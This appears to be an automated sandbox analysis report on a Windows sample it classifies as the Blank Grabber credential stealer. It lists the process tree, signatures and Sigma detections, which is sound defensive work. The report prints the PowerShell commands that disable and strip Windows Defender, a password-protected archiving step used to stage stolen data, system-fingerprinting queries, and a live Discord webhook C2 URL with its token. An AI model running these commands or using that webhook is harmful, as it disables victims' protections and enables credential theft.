Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
riFSkYVMKB.exe

Overview

General Information

Sample name:riFSkYVMKB.exe
renamed because original name is a hash value
Original sample name:f139e085653967253d9a7159a3664dd986a69570540375d39a10df1fa49b8fe4.exe
Analysis ID:1584120
MD5:90ee30fccafac811f40981a0e895d7f0
SHA1:1517871794b795207d8cfa243c44bda048dcf40d
SHA256:f139e085653967253d9a7159a3664dd986a69570540375d39a10df1fa49b8fe4
Tags:exeuser-zhuzhu0009
Infos:

Detection

Blank Grabber
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Found malware configuration
Multi AV Scanner detection for submitted file
Yara detected Blank Grabber
Yara detected Telegram RAT
AI detected suspicious sample
Adds a directory exclusion to Windows Defender
Found many strings related to Crypto-Wallets (likely being stolen)
Loading BitLocker PowerShell Module
Modifies Windows Defender protection settings
Removes signatures from Windows Defender
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Sigma detected: Powershell Defender Disable Scan Feature
Sigma detected: Rar Usage with Password and Compression Level
Suspicious powershell command line found
Tries to harvest and steal browser information (history, passwords, etc)
Binary contains a suspicious time stamp
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to query CPU information (cpuid)
Contains functionality to shutdown / reboot the system
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Drops PE files
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found evasive API chain checking for process token information
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
PE / OLE file has an invalid certificate
PE file contains an invalid checksum
PE file contains executable resources (Code or Archives)
PE file contains sections with non-standard names
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Powershell Defender Exclusion
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Credential Stealer

Classification

Process Tree

  • System is w10x64
  • riFSkYVMKB.exe (PID: 5144 cmdline: "C:\Users\user\Desktop\riFSkYVMKB.exe" MD5: 90EE30FCCAFAC811F40981A0E895D7F0)
    • riFSkYVMKB.exe (PID: 6800 cmdline: "C:\Users\user\Desktop\riFSkYVMKB.exe" MD5: 90EE30FCCAFAC811F40981A0E895D7F0)
      • cmd.exe (PID: 6768 cmdline: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\riFSkYVMKB.exe'" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 6804 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • powershell.exe (PID: 5776 cmdline: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\riFSkYVMKB.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)
          • WmiPrvSE.exe (PID: 7404 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)
      • cmd.exe (PID: 6012 cmdline: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 6892 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • powershell.exe (PID: 5676 cmdline: powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend MD5: 04029E121A0CFA5991749937DD22A1D9)
        • MpCmdRun.exe (PID: 8024 cmdline: "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All MD5: B3676839B2EE96983F9ED735CD044159)
      • cmd.exe (PID: 1512 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 2820 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • tasklist.exe (PID: 7268 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)
      • cmd.exe (PID: 4200 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 7172 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • tasklist.exe (PID: 7292 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)
      • cmd.exe (PID: 7476 cmdline: C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exe a -r -hp"blank123" "C:\Users\user\AppData\Local\Temp\0ddIp.zip" *" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 7492 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • rar.exe (PID: 7528 cmdline: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exe a -r -hp"blank123" "C:\Users\user\AppData\Local\Temp\0ddIp.zip" * MD5: 9C223575AE5B9544BC3D69AC6364F75E)
      • cmd.exe (PID: 7580 cmdline: C:\Windows\system32\cmd.exe /c "wmic os get Caption" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 7592 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • WMIC.exe (PID: 7672 cmdline: wmic os get Caption MD5: C37F2F4F4B3CD128BDABCAEB2266A785)
      • cmd.exe (PID: 7716 cmdline: C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 7732 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • WMIC.exe (PID: 7768 cmdline: wmic computersystem get totalphysicalmemory MD5: C37F2F4F4B3CD128BDABCAEB2266A785)
      • cmd.exe (PID: 7800 cmdline: C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 7816 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • WMIC.exe (PID: 7856 cmdline: wmic csproduct get uuid MD5: C37F2F4F4B3CD128BDABCAEB2266A785)
      • cmd.exe (PID: 7888 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 7900 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • powershell.exe (PID: 7948 cmdline: powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER MD5: 04029E121A0CFA5991749937DD22A1D9)
      • cmd.exe (PID: 8048 cmdline: C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 8064 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • WMIC.exe (PID: 8108 cmdline: wmic path win32_VideoController get name MD5: C37F2F4F4B3CD128BDABCAEB2266A785)
      • cmd.exe (PID: 8148 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 8164 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • powershell.exe (PID: 7020 cmdline: powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault MD5: 04029E121A0CFA5991749937DD22A1D9)
  • cleanup

Malware Configuration

Threatname: Blank Grabber

{"C2 url": "https://discord.com/api/webhooks/1325008109688848394/ap33zUqBiGzDvwCP0tF85_LvY8CYm5iFLtVRNIJg4zgkMF4A54M4Y9NXhJ9mbH2Zi-eA"}

Yara Signatures

Dropped Files

SourceRuleDescriptionAuthorStrings
C:\Users\user\AppData\Local\Temp\_MEI51442\rarreg.keyJoeSecurity_BlankGrabberYara detected Blank GrabberJoe Security

    Memory Dumps

    SourceRuleDescriptionAuthorStrings
    00000002.00000003.2275949217.000001CF44867000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_BlankGrabberYara detected Blank GrabberJoe Security
      00000002.00000002.2276489577.000001CF42667000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_BlankGrabberYara detected Blank GrabberJoe Security
        00000000.00000003.2112335563.00000267A8E52000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_BlankGrabberYara detected Blank GrabberJoe Security
          00000000.00000003.2112335563.00000267A8E54000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_BlankGrabberYara detected Blank GrabberJoe Security
            00000002.00000002.2277432782.000001CF44680000.00000004.00001000.00020000.00000000.sdmpJoeSecurity_BlankGrabberYara detected Blank GrabberJoe Security
              Click to see the 5 entries

              Sigma Signatures

              System Summary

              barindex
              Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
              Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\riFSkYVMKB.exe'", CommandLine: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\riFSkYVMKB.exe'", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\riFSkYVMKB.exe", ParentImage: C:\Users\user\Desktop\riFSkYVMKB.exe, ParentProcessId: 6800, ParentProcessName: riFSkYVMKB.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\riFSkYVMKB.exe'", ProcessId: 6768, ProcessName: cmd.exe
              Sigma detected: Powershell Defender Disable Scan Feature
              Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All", CommandLine: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\riFSkYVMKB.exe", ParentImage: C:\Users\user\Desktop\riFSkYVMKB.exe, ParentProcessId: 6800, ParentProcessName: riFSkYVMKB.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All", ProcessId: 6012, ProcessName: cmd.exe
              Sigma detected: Rar Usage with Password and Compression Level
              Source: Process startedAuthor: @ROxPinTeddy: Data: Command: C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exe a -r -hp"blank123" "C:\Users\user\AppData\Local\Temp\0ddIp.zip" *", CommandLine: C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exe a -r -hp"blank123" "C:\Users\user\AppData\Local\Temp\0ddIp.zip" *", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\riFSkYVMKB.exe", ParentImage: C:\Users\user\Desktop\riFSkYVMKB.exe, ParentProcessId: 6800, ParentProcessName: riFSkYVMKB.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exe a -r -hp"blank123" "C:\Users\user\AppData\Local\Temp\0ddIp.zip" *", ProcessId: 7476, ProcessName: cmd.exe
              Sigma detected: Powershell Defender Exclusion
              Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\riFSkYVMKB.exe'", CommandLine: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\riFSkYVMKB.exe'", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\riFSkYVMKB.exe", ParentImage: C:\Users\user\Desktop\riFSkYVMKB.exe, ParentProcessId: 6800, ParentProcessName: riFSkYVMKB.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\riFSkYVMKB.exe'", ProcessId: 6768, ProcessName: cmd.exe
              Sigma detected: Files Added To An Archive Using Rar.EXE
              Source: Process startedAuthor: Timur Zinniatullin, E.M. Anhaus, oscd.community: Data: Command: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exe a -r -hp"blank123" "C:\Users\user\AppData\Local\Temp\0ddIp.zip" *, CommandLine: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exe a -r -hp"blank123" "C:\Users\user\AppData\Local\Temp\0ddIp.zip" *, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exe a -r -hp"blank123" "C:\Users\user\AppData\Local\Temp\0ddIp.zip" *", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7476, ParentProcessName: cmd.exe, ProcessCommandLine: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exe a -r -hp"blank123" "C:\Users\user\AppData\Local\Temp\0ddIp.zip" *, ProcessId: 7528, ProcessName: rar.exe
              Sigma detected: Non Interactive PowerShell Process Spawned
              Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\riFSkYVMKB.exe', CommandLine: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\riFSkYVMKB.exe', CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\riFSkYVMKB.exe'", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6768, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\riFSkYVMKB.exe', ProcessId: 5776, ProcessName: powershell.exe

              Suricata Signatures

              ⊘No Suricata rule has matched

              Joe Sandbox Signatures

              Click to jump to signature section

              Show All Signature Results

              AV Detection

              barindex
              Found malware configuration
              Source: riFSkYVMKB.exe.6800.2.memstrminMalware Configuration Extractor: Blank Grabber {"C2 url": "https://discord.com/api/webhooks/1325008109688848394/ap33zUqBiGzDvwCP0tF85_LvY8CYm5iFLtVRNIJg4zgkMF4A54M4Y9NXhJ9mbH2Zi-eA"}
              Multi AV Scanner detection for submitted file
              Source: riFSkYVMKB.exeVirustotal: Detection: 48%Perma Link
              Source: riFSkYVMKB.exeReversingLabs: Detection: 42%
              AI detected suspicious sample
              Source: Submited SampleIntegrated Neural Analysis Model: Matched 99.9% probability
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A21901C CryptAcquireContextW,CryptGenRandom,CryptReleaseContext,18_2_00007FF68A21901C
              Source: riFSkYVMKB.exeStatic PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
              Source: Binary string: D:\a\1\b\bin\amd64\select.pdb source: riFSkYVMKB.exe, riFSkYVMKB.exe, 00000002.00000002.2288100805.00007FFDA5491000.00000040.00000001.01000000.0000000D.sdmp
              Source: Binary string: D:\a\1\b\bin\amd64\unicodedata.pdb source: riFSkYVMKB.exe, 00000002.00000002.2280851953.00007FFD93997000.00000040.00000001.01000000.00000013.sdmp
              Source: Binary string: D:\a\1\b\bin\amd64\_ctypes.pdb source: riFSkYVMKB.exe, riFSkYVMKB.exe, 00000002.00000002.2286990153.00007FFDA3741000.00000040.00000001.01000000.00000006.sdmp
              Source: Binary string: D:\a\1\b\libcrypto-3.pdb| source: riFSkYVMKB.exe, 00000002.00000002.2281693316.00007FFD93FDA000.00000040.00000001.01000000.0000000F.sdmp
              Source: Binary string: D:\a\1\b\bin\amd64\_hashlib.pdb source: riFSkYVMKB.exe, riFSkYVMKB.exe, 00000002.00000002.2287230056.00007FFDA3A81000.00000040.00000001.01000000.00000011.sdmp
              Source: Binary string: D:\a\1\b\libssl-3.pdbDD source: riFSkYVMKB.exe, 00000002.00000002.2285944180.00007FFDA3615000.00000040.00000001.01000000.00000010.sdmp
              Source: Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WA source: riFSkYVMKB.exe
              Source: Binary string: D:\a\1\b\bin\amd64\_lzma.pdbNN source: riFSkYVMKB.exe, 00000002.00000002.2286816753.00007FFDA36EB000.00000040.00000001.01000000.00000008.sdmp
              Source: Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG"OpenSSL 3.0.15 3 Sep 20243.0.15built on: Wed Sep 4 15:52:04 2024 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"userSDIR: "C:\Program Files\OpenSSL\lib\users-3"MODULESDIR: "C:\Program Files\OpenSSL\lib\ossl-modules"CPUINFO: N/Anot availableget_and_lock..\s\crypto\ex_data.cossl_crypto_get_ex_new_index_exossl_crypto_new_ex_data_exCRYPTO_dup_ex_dataCRYPTO_set_ex_dataOPENSSL_WIN32_UTF8..\s\crypto\getenv.ccompiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG";CPUINFO: OPENSSL_ia32cap=0x%llx:0x%llxOPENSSL_ia32cap env:%sos-specificC:\Program Files\Common Files\SSLC:\Program Files\OpenSSL\lib\ossl-modules.dllCPUINFO: ..\s\crypto\init.cOPENSSL_init_cryptoOPENSSL_atexit..\s\crypto\initthread.c..\s\crypto\mem_sec.cassertion failed: (bit & 1) == 0assertion failed: list >= 0 && list < sh.freelist_sizeassertion failed: ((ptr - sh.arena) & ((sh.arena_size >> list) - 1)) == 0assertion failed: bit > 0 && bit < sh.bittable_sizeassertion failed: TESTBIT(table, bit)assertion failed: !TESTBIT(table, bit)assertion failed: WITHIN_FREELIST(list)assertion failed: WITHIN_ARENA(ptr)assertion failed: temp->next == NULL || WITHIN_ARENA(temp->next)assertion failed: (char **)temp->next->p_next == listassertion failed: WITHIN_FREELIST(temp2->p_next) || WITHIN_ARENA(temp2->p_next)assertion failed: size > 0assertion failed: (size & (size - 1)) == 0assertion failed: (minsize & (minsize - 1)) == 0assertion failed: sh.freelist != NULLassertion failed: sh.bittable != NULLassertion failed: sh.bitmalloc != NULLassertion failed: !sh_testbit(temp, slist, sh.bitmalloc)assertion failed: temp != sh.freelist[slist]assertion failed: sh.freelist[slist] == tempassertion failed: temp-(sh.arena_size >> slist) == sh_find_my_buddy(temp, slist)assertion failed: sh_testbit(chunk, list, sh.bittable)assertion failed: WITHIN_ARENA(chunk)assertion failed: sh_testbit(ptr, list, sh.bittable)assertion failed: ptr == sh_find_my_buddy(buddy, list)assertion failed: ptr != NULLassertion failed: !sh_testbit(ptr, list, sh.bitmalloc)assertion failed: sh.freelist[list] == ptr/*0123456789ABCDEFCRYPTO_memdup..\s\crypto\o_str.chexstr2buf_sepossl_hexstr2buf_sepbuf2hexstr_sepossl_buf2hexstr_sep..\s\crypto\packet.cwpacket_intern_init_lenWPACKET_start_sub_packet_len__..\s\crypto\param_build.cparam_pushparam_push_numOSSL_PARAM_BLD_push_BN_padNegative big numbers are unsupported for OSSL_PARAMOSSL_PARAM_BLD_push_utf8_stringOSSL_PARAM_BLD_push_utf8_ptrOSSL_PARAM_BLD_push_octet_stringOSSL_PARAM_BLD_p
              Source: Binary string: D:\a\1\b\bin\amd64\_queue.pdb source: riFSkYVMKB.exe, riFSkYVMKB.exe, 00000002.00000002.2287916579.00007FFDA4DA1000.00000040.00000001.01000000.00000012.sdmp
              Source: Binary string: D:\a\1\b\bin\amd64\_lzma.pdb source: riFSkYVMKB.exe, 00000002.00000002.2286816753.00007FFDA36EB000.00000040.00000001.01000000.00000008.sdmp
              Source: Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: riFSkYVMKB.exe, riFSkYVMKB.exe, 00000002.00000002.2287575214.00007FFDA3BF1000.00000040.00000001.01000000.00000009.sdmp
              Source: Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: riFSkYVMKB.exe, 00000000.00000003.2108844334.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000002.2287755660.00007FFDA4174000.00000002.00000001.01000000.00000005.sdmp, VCRUNTIME140.dll.0.dr
              Source: Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG" source: riFSkYVMKB.exe, 00000002.00000002.2281693316.00007FFD93F42000.00000040.00000001.01000000.0000000F.sdmp
              Source: Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: riFSkYVMKB.exe, 00000000.00000003.2108844334.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000002.2287755660.00007FFDA4174000.00000002.00000001.01000000.00000005.sdmp, VCRUNTIME140.dll.0.dr
              Source: Binary string: D:\a\1\b\bin\amd64\sqlite3.pdb source: riFSkYVMKB.exe, riFSkYVMKB.exe, 00000002.00000002.2283494256.00007FFD940D1000.00000040.00000001.01000000.0000000B.sdmp
              Source: Binary string: D:\a\1\b\libcrypto-3.pdb source: riFSkYVMKB.exe, riFSkYVMKB.exe, 00000002.00000002.2281693316.00007FFD93FDA000.00000040.00000001.01000000.0000000F.sdmp
              Source: Binary string: D:\a\1\b\bin\amd64\_socket.pdb source: riFSkYVMKB.exe, riFSkYVMKB.exe, 00000002.00000002.2287391398.00007FFDA3AE1000.00000040.00000001.01000000.0000000C.sdmp
              Source: Binary string: D:\a\1\b\bin\amd64\_sqlite3.pdb source: riFSkYVMKB.exe, riFSkYVMKB.exe, 00000002.00000002.2286642317.00007FFDA36A1000.00000040.00000001.01000000.0000000A.sdmp
              Source: Binary string: D:\a\1\b\bin\amd64\python313.pdb source: riFSkYVMKB.exe, 00000002.00000002.2284437276.00007FFD94658000.00000040.00000001.01000000.00000004.sdmp
              Source: Binary string: D:\a\1\b\libssl-3.pdb source: riFSkYVMKB.exe, riFSkYVMKB.exe, 00000002.00000002.2285944180.00007FFDA3615000.00000040.00000001.01000000.00000010.sdmp
              Source: Binary string: D:\Projects\WinRAR\rar\build\rar64\Release\RAR.pdb source: rar.exe, 00000012.00000000.2189812422.00007FF68A270000.00000002.00000001.01000000.00000018.sdmp, rar.exe, 00000012.00000002.2197673099.00007FF68A270000.00000002.00000001.01000000.00000018.sdmp, rar.exe.0.dr
              Source: Binary string: D:\a\1\b\bin\amd64\_ssl.pdb source: riFSkYVMKB.exe, riFSkYVMKB.exe, 00000002.00000002.2286414018.00007FFDA366E000.00000040.00000001.01000000.0000000E.sdmp
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 0_2_00007FF79D0592F0 FindFirstFileExW,FindClose,0_2_00007FF79D0592F0
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 0_2_00007FF79D0583B0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,0_2_00007FF79D0583B0
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 0_2_00007FF79D0718E4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,0_2_00007FF79D0718E4
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FF79D0592F0 FindFirstFileExW,FindClose,2_2_00007FF79D0592F0
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FF79D0718E4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,2_2_00007FF79D0718E4
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FF79D0583B0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,2_2_00007FF79D0583B0
